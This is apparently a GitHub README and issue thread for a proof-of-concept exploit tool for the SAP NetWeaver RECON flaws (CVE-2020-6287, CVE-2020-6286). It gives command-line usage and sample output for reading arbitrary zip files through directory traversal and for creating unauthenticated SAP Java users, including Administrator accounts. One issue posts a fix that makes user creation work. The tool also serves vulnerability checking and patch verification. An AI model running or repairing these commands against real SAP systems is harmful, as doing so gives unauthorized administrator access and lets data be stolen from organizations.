chipik / sap_recon

PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)

PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)

Pffff! RECON (Remotely Exploitable Code On NetWeaver)? Guys, really? That was the best codename you came up with? :)

This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and as a PoC script exploits directory traversal in queryProtocol method.

Directory traversal allows to download any zip from SAP server.

This project is created only for educational purposes and cannot be used for law violation or personal gain.
The author of this project is not responsible for any possible harm caused by the materials of this project

Original finding:

CVE-2020-6287: Pablo Artuso
CVE-2020-6286: Yvan 'iggy' G.

Solution: #2934135, #2939665

How to use

Just point SAP NW AS Java hostnmae/ip.

There is additional options:

1. -c - check if SAP server is vulnerable to RECON
2. -f - download zip file from SAP server
3. -u - create user SAP JAVA user with Authenticated User role
4. -a - create user SAP JAVA user with Administrator role

Ex.: Download zip file

~python RECON.py -H 172.16.30.8 -f /1111.zip
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Ok! File zipfile_929.zip was saved

Ex.: Create SAP JAVA user

~python RECON.py -H 172.16.30.8 -u
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user. sapRpoc5484:Secure!PwD9379
Ok! User were created

Ex.: Create SAP JAVA Administrator user

~python RECON.py -H 172.16.30.8 -a
Check1 - Vulnerable! [CVE-2020-6287] (RECON) - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user sapRpoc5574:Secure!PwD7715 with role 'Administrator'
Ok! Admin user were created

All options

~python RECON.py -h
usage: RECON.py [-h] [-H HOST] [-P PORT] [-p PROXY] [-s] [-c] [-f ZIPFILE]
                [-u] [-a] [--timeout TIMEOUT] [-v]

PoC for CVE-2020-6287,  (RECON)
This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and exploits dir traversal in queryProtocol method
Original finding:
- Pablo Artuso. https://twitter.com/lmkalg
- Yvan 'iggy' G https://twitter.com/_1ggy

Thanks:
- Spencer McIntyre https://twitter.com/zeroSteiner

Solution: https://launchpad.support.sap.com/#/notes/2934135, https://launchpad.support.sap.com/#/notes/2939665

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  Java NW host (default: 127.0.0.1)
  -P PORT, --port PORT  Java NW web port (default: tcp/50000)
  -p PROXY, --proxy PROXY
                        Use proxy (ex: 127.0.0.1:8080)
  -s, --ssl             enable SSL
  -c, --check           just detect vulnerability
  -f ZIPFILE, --zipfile ZIPFILE
                        ZIP file to read. CVE-2020-6286
  -u, --user            Create simple JAVA user. CVE-2020-6287
  -a, --admin           Create JAVA user with role "Administrator". CVE-2020-6287
  --timeout TIMEOUT     HTTP connection timeout in second (default: 10)
  -v, --verbose         verbose mode

sap_recon's Issues

Only one Check used

Only first check is performed (with -c option), because of
return {"status":False, "url":""}
in else clause, that exits the loop
Is it intended to work like that?

possible bug

first thanks for the script.

I am running this on python 3.9 on Catalina and I get the following error
ps the PII has been redacted.

SAP_RECON-master python3 RECON.py -H [redactedIP] -c -p [redactedIP]:[Port]
Traceback (most recent call last):
File "/usr/local/lib/python3.9/site-packages/requests/adapters.py", line 412, in send
conn = self.get_connection(request.url, proxies)
File "/usr/local/lib/python3.9/site-packages/requests/adapters.py", line 309, in get_connection
proxy_manager = self.proxy_manager_for(proxy)
File "/usr/local/lib/python3.9/site-packages/requests/adapters.py", line 193, in proxy_manager_for
manager = self.proxy_manager[proxy] = proxy_from_url(
File "/usr/local/lib/python3.9/site-packages/urllib3/poolmanager.py", line 536, in proxy_from_url
return ProxyManager(proxy_url=url, **kw)
File "/usr/local/lib/python3.9/site-packages/urllib3/poolmanager.py", line 480, in init
raise ProxySchemeUnknown(proxy.scheme)
urllib3.exceptions.ProxySchemeUnknown: Not supported proxy scheme None

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/Users/userID/Downloads/SAP_RECON-master/RECON.py", line 218, in
detect_vuln(base_url)
File "/Users/userID/Downloads/SAP_RECON-master/RECON.py", line 30, in detect_vuln
ans = requests.head(base_url + checks['path'], headers=headers, proxies=proxies, timeout=timeout, allow_redirects=False, verify=False)
File "/usr/local/lib/python3.9/site-packages/requests/api.py", line 104, in head
return request('head', url, **kwargs)
File "/usr/local/lib/python3.9/site-packages/requests/api.py", line 61, in request
return session.request(method=method, url=url, **kwargs)
File "/usr/local/lib/python3.9/site-packages/requests/sessions.py", line 542, in request
resp = self.send(prep, **send_kwargs)
File "/usr/local/lib/python3.9/site-packages/requests/sessions.py", line 655, in send
r = adapter.send(request, **kwargs)
File "/usr/local/lib/python3.9/site-packages/requests/adapters.py", line 414, in send
raise InvalidURL(e, request=request)
requests.exceptions.InvalidURL: Not supported proxy scheme None

Issue with a patched system

1. The script told me on a fresh patched system (LM CTC 7.50 SPS 16 PL 02) that's vulnerable.

$ python3 test.py -H t4stsystemhost -c -v
Check1 - Vulnerable! [CVE-2020-6287] (RECON) - http://t4stsystemhost:50000/CTCWebService/CTCWebServiceBean

-> works not as designed

2. The script told me on a old system (LM CTC 7.50 SPS 16 PL 00) that's vulnerable.

$ python3 test.py -H t4stsystemhost -c -v
Check1 - Vulnerable! [CVE-2020-6287] (RECON) - http://t4stsystemhost:50000/CTCWebService/CTCWebServiceBean

-> works as designed

3. The script say that everthing is fine if tclmctcculstartup_app was stopped

$ python3 test.py -H t4stsystemhost  -c -v
Check1 - OK
Check2 - OK
Check3 - OK

-> works as designed

User creation not working

python3 test.py -H testing -u

Check1 - Vulnerable! [CVE-2020-6287] (RECON) - http://testing:50000/CTCWebService/CTCWebServiceBean
Going to create new user. sapRpoc5990:Secure!PwD7467
Traceback (most recent call last):
  File "test.py", line 167, in <module>
    exploit_createUser(result["url"].replace("?wsdl", ""))
  File "test.py", line 113, in exploit_createUser
    payload = generate_CreateUser_paylod()
  File "test.py", line 106, in generate_CreateUser_paylod
    return base64.b64encode(p).encode(encoding='UTF-8')
  File "/usr/lib/python3.6/base64.py", line 58, in b64encode
    encoded = binascii.b2a_base64(s, newline=False)
TypeError: a bytes-like object is required, not 'str'

I changed line 106 with return base64.b64encode(p.encode('utf-8')).decode('utf-8') seems to solve this issue.